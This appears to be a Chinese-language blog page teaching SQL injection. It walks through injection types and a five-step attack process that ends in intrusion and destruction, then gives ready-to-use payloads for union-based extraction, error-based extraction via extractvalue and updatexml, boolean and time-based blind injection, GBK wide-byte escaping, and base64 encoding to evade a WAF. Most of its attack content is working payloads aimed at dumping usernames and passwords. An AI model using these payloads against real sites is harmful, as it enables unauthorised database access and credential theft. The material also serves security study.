登录后台

已禁止登录!

页面导航

sql

SQL注入

前言

SQL注入(SQL Injection) 即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
SQL注入是一种常见的Web安全漏洞,攻击者利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击

SQL定义

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击

特点

1、广泛性
2、隐蔽性
3、危害大
4、操作方便

原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

注入分类

1、按照注入点的数据类型(数据库) 分类

1). 数字型注入

当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

数字型注入的例子

1. select * from user where id = 1
2. select * from user where id = (1)
3. select * from user where id = 1 and 1 = 1

2). 字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合

字符型注入的例子

1. select * from user where id = '1';
2. select * from user where id = "1";
3. select * from user where id = ('1');
4. select * from user where id = ("1");
5. select * from user where id = (('1'));
6. select * from user where id = (("1"));
7. select * from user where id = '1 and 1 = 1';

注意: 必须要考虑 引号闭合和注释问题

2、注入点的位置分类

1.GET 注入
2.POST 注入
3.COOKIE 注入
4.HTTP 头部注入

3、其他分类

1.搜索框
2.登陆框

获取敏感数据顺序思路

库名 -> 表名 -> 字段名 -> 字段内容

注入过程

第一步:SQL注入点探测
第二步:收集后台数据库信息
第三步:猜解用户名和密码
第四步:查找Web后台管理入口
第五步:入侵和破坏

关于数据库的知识点

SQL运算符优先级
and 和 or
SQL中and(逻辑与运算) 的优先级要高于 or(逻辑或运算)
select 1=2 and 1=2 or 1=1       true

MySQL注释
#
--  (减减空格)
/*    */

判断注入点

1. ?id=1 
 
2. ?id=1'

3. ?id=1' and 1=1

4.?id=1' and 1=2 --+
  ?id=-1'   --+

5. ?id=1' and sleep(4) --+

攻击手法

1、联合查询注入
2、基于错误信息的注入
3、基于布尔的盲注---布尔型注入
4、基于时间的盲注---延时注入
5、宽字节注入
6、base64注入

1. 联合查询 ( union select )

1.获取表中有几个字段
    order by n 按照当前表中第n 字段值进行排序   
    如果有回显证明有n个字段
    ?id=1' order by 8 --+
    
2.获取表中有几个字段
    ?id=1' union select 1,2,3,4,5,6,7,8 --+     数字是证明有多少个字段
    
3.使用-1的参数 把select语句条件置为假
    ?id=-1' union select 1,2,3,4,5,6,7,8 --+    在页面显示数据出现的位置
    
4.带入SQL语句查询所要的信息
    ?id=-1' union select 1,@@version,3,database(),5,6,7,8 --+
    
5. 查询表名
    1) 获取当前数据的表名
    ?id=-1' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=database() --+
    2) 获取任意单个表名
    ?id=-1' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 --+
    3) 获取多个表名
    ?id=-1' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() --+

6.查询user表中有哪些字段名
    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' --+
    
7.查询字段中的内容
    1) 字段内容
    ?id=-1' union select 1,username,3,password,5,6,7,8 from user --+
    2) 查询任意字段内容
    ?id=-1' union select 1,username,3,password,5,6,7,8 from user limit 0,1--+
    3) 查询多个字段内容
    ?id=-1' union select 1,group_concat(username,':',password),3,4,5,6,7,8 from user --+
    

2. XPATH 报错信息注入(公式)

​ 报错信息要来自于数据库 (区别于脚本的错误, 服务器内部错误(500))

1.extractvalue()  从目标XML中返回包含所查询值的字符串
 格式:
 EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串 
返回结果限制字符长度是32位
 
例子:
1). 获取MySQL的版本
    admin' and extractvalue(1, concat('^',(select version()),'^')) #
2). 获取MySQL的数据库
    admin' and extractvalue(1, concat('^',(select database()),'^')) #
3). 获取任意表
    admin' and extractvalue(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'^')) #
4). 获取所有数据表
    admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
5). 获取表字段
    admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user'),'^')) #
6). 获取表中的字段内容
    admin' and extractvalue(1, concat('^',(select concat(username,':',password) from user limit 0,1),'^')) #    

    
2.updatexml()
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据
        
updatexml的最大长度是32位的,所以有所局限
如果密码长度超过了32位就不会被显示出来。

例子:
1). 获取MySQL的版本
    admin' and updatexml(1, concat('^',(select version()),'^'),3) #
2). 获取MySQL的数据库
    admin' and updatexml(1, concat('^',(select database()),'^'),3) #
3). 获取任意表
    admin' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'^'),3) #
4). 获取所有数据表
    admin' and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),3) #
5). 获取表字段
    admin' and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user'),'^'),3) #
6). 获取表中的字段内容
    admin' and updatexml(1, concat('^',(select concat(username,':',password) from user limit 0,1),'^'),3) #    

3. 布尔类型的盲注

利用布尔类型的状态
1. ?id=1' and 1=1 --+     true
2. ?id=1' and 1=2 --+     false

1)获取数据库名字的长度
    ?id=1' and length(database()) > 1 --+   如果有回显就说明是正确的
2)获取数据库名
    ?id=1' and mid(database(),1,1) = 's' --+   判断一点点试
    ?id=1' and ord(mid(database(),1,1)) > 100 --+     通过数字查找对应的ASCII码值

4. 延时注入

基于时间的盲注
?id=1' and if(ord(mid(database(), 1,1)) = 97, sleep(4),1) --+

5. 宽字节注入

原理: 前端输入%df时,首先经过addslashes()转义变成了%df%5c%27,之后在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码,即%df%5c被编码成了“運”,而单引号就逃逸了出来,从而形成了注入漏洞

1.判断几个字段
    ?id=1%df' order by 3 --+
    
2.查询表里有几个字段
    ?id=-1%df' union select 1,2,3 --+
    
3.查询库名
    ?id=-1%df' union select 1,database(),3 --+
    
4.查询表名
    ?id=-1%df' union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 --+
    
5.查询多个表名
    ?id=-1%df' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1 --+
    
    
以下为URL编码:
%27---------单引号
%20---------空格
%23---------#号
%5c---------/反斜杠

6. base64注入

base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF(网站应用级入侵防御系统)的检测

把等号后面这部分进行base64加密
格式:
http://www.nanhack.com/payload/sql/base64.php
?id= LTEnIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiw3LDggIw==

1)获取表的字段
?id=    1' order by 8 #  
2)获取sql注入信息所显示的位置
?id=    -1' union select 1,2,3,4,5,6,7,8 #
3)获取数据库中的表名
?id=    -1' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() #
4)获取表中的字段
?id=    -1' union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='user' #
5)获取字段所对应的值
?id=    -1' union select 1,username,3,password,5,6,7,8 from user #